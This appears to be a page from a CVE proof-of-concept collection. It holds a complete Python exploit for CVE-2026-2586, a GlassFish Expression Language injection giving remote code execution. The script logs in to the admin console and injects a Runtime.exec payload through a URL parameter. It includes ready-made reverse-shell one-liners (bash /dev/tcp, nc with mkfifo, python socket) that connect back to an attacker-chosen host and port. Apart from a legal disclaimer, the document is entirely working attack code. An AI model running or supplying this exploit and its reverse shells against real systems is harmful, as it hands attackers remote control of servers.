5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-2586.py PY
#!/usr/bin/env python3
"""
GlassFish EL Injection RCE - Reverse Shell (CVE-2026-2586)

Usage:
  python3 CVE-2026-2586.py --url https://target:4848 --user <USERNAME> --password <PASSWORD> --lhost <LHOST> --lport <LPORT>

LEGAL DISCLAIMER:
  This proof of concept is provided for educational, research, and security purposes only.

  AUTHORIZED USE ONLY. Use this script only against systems you own or where you have explicit written authorization to perform security testing.

  DeepSecurity Perú does not endorse unauthorized access, exploitation, service disruption, data exfiltration, or any misuse of this information. DeepSecurity Perú assumes no responsibility or liability for any misuse, damage, or illegal activity resulting from the use of this proof of concept.
"""
import argparse
import sys
import base64
from urllib.parse import urljoin, quote_plus

import requests

LOGIN_PATH = "/common/j_security_check"
PLACEHOLDER = "foobar"
DEFAULT_CONFIG_PATH = "/web/configuration/virtualServerEdit.jsf?name=server&configName=server-config&alertType=success&alertSummary=%23%7b''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('bash%20-c%20%7becho%2cfoobar%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d')%7d&alertDetail=&bare=true"

REVERSE_SHELLS = {
    "bash": "bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
    "nc2": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {lhost} {lport} >/tmp/f",
    "python": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'",
}


def build_url(base_url, config_path, cmd):
    b64 = base64.b64encode(cmd.encode()).decode()
    b64url = quote_plus(b64)
    replaced = config_path.replace(PLACEHOLDER, b64url)
    return urljoin(base_url.rstrip('/') + '/', replaced.lstrip('/'))


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-2586 - GlassFish EL Injection RCE (Reverse Shell)")
    parser.add_argument("--url", required=True, help="Base URL (e.g. https://target:4848)")
    parser.add_argument("--user", required=True, help="Username")
    parser.add_argument("--password", required=True, help="Password")
    parser.add_argument("--lhost", required=True, help="Your IP address (LHOST)")
    parser.add_argument("--lport", required=True, help="Your listening port (LPORT)")
    parser.add_argument(
        "--shell",
        default="bash",
        choices=REVERSE_SHELLS.keys(),
        help=f"Reverse shell type (default: bash). Options: {', '.join(REVERSE_SHELLS.keys())}"
    )
    parser.add_argument("--insecure", action="store_true", help="Do not verify TLS certificate")
    parser.add_argument("--verbose", action="store_true", help="Verbose output")
    args = parser.parse_args()

    command = REVERSE_SHELLS[args.shell].format(lhost=args.lhost, lport=args.lport)

    session = requests.Session()
    verify = not args.insecure

    if args.insecure:
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    login_url = urljoin(args.url.rstrip('/') + '/', LOGIN_PATH.lstrip('/'))
    exploit_url = build_url(args.url, DEFAULT_CONFIG_PATH, command)

    try:
        resp = session.post(
            login_url,
            headers={
                "Content-Type": "application/x-www-form-urlencoded",
                "User-Agent": "Mozilla/5.0"
            },
            data={
                "j_username": args.user,
                "j_password": args.password,
                "loginButton": "Login",
                "loginButton.DisabledHiddenField": "true"
            },
            timeout=10,
            allow_redirects=True,
            verify=verify
        )

        if args.verbose:
            print(f"[*] Login: {resp.status_code}")

    except Exception as e:
        print(f"[-] Login error: {e}")
        sys.exit(1)

    try:
        resp = session.get(
            exploit_url,
            timeout=10,
            allow_redirects=True,
            verify=verify
        )

        if args.verbose:
            print(f"[*] Exploit: {resp.status_code}")
            print(f"[*] URL: {resp.url}")

    except Exception as e:
        print(f"[-] Exploit error: {e}")
        sys.exit(1)

    if resp.status_code == 200 and "Login" not in resp.text[:300]:
        print(f"[+] Payload sent. Check your listener on {args.lhost}:{args.lport}")
    else:
        print(f"[-] Failed (HTTP {resp.status_code})")


if __name__ == "__main__":
    main()